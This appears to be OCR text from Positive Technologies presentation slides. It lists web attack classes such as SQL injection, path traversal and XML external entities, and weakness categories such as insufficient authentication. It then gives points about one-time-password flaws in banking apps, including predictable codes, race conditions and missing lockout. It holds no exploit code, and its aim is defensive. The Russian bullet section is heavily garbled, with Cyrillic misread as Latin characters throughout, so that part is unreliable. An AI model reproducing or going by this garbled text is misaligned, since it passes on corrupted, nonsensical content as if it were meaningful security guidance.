LDAP Injection

Mail Command Injection
Null Byte Injection

OS Commanding

Path Traversal

Predictable Resource Location
Remote File Inclusion (RFI)
Routing Detour

Session Fixation

SOAP Array Abuse

SSI Injection

SQL Injection

URL Redirector Abuse
XPath Injection

XML Attribute Blowup

XML External Entities

XML Entity Expansion

XML Injection

XQuery Injection

~POSITIVE TECHNOLOGIES

Weaknesses

Application Misconfiguration
Directory Indexing

Improper Filesystem Permissions
Improper Input Handling

Improper Output Handling
Information Leakage

Insecure Indexing

Insufficient Anti-automation
Insufficient Authentication
Insufficient Authorization
Insufficient Password Recovery
Insufficient Process Validation
Insufficient Session Expiration
Insufficient Transport Layer Protection
Server Misconfiguration



* B Mmobunkax MoXeT He 3anpalumBaTbCs

* He gna Bcex onepauunm

* OtkntoveHue OTI1 6e3 OTTI

» OTkntoveHue Bcex OTI1 / ATomapHOCTb onepawum

* [Ipenckasyembie OTT

* OguHakosble OTI1 ana pasHbIX onepaunm

» Race Condition / nostop onepauyuun Ha OTI1

* /I Tak panee!!!

* brioknposaHue onepauunn nocrie X pas HenpaBunbHOro BBoga?



BeyHbIM KOMNpoMUCC Mexay yoobcTBoM M 6€30MacHOCTLIO

* «3a4eM knuneHty OTI1 ecnu oH yxe nonb3yetca TeneoHOM?»
* OTI1 oTobOpaxaetca n Ha 3abnoknpoBaHHOM TenedoHe

* OTI1 MOXHO NpeackasbiBaTh (HECNyYaWHble CriyvyanHble Yucra)
» 3a4yem Ham CAPTCHA?

* «YNOOHas» aBTopu3aLmnga no Homepam KapT
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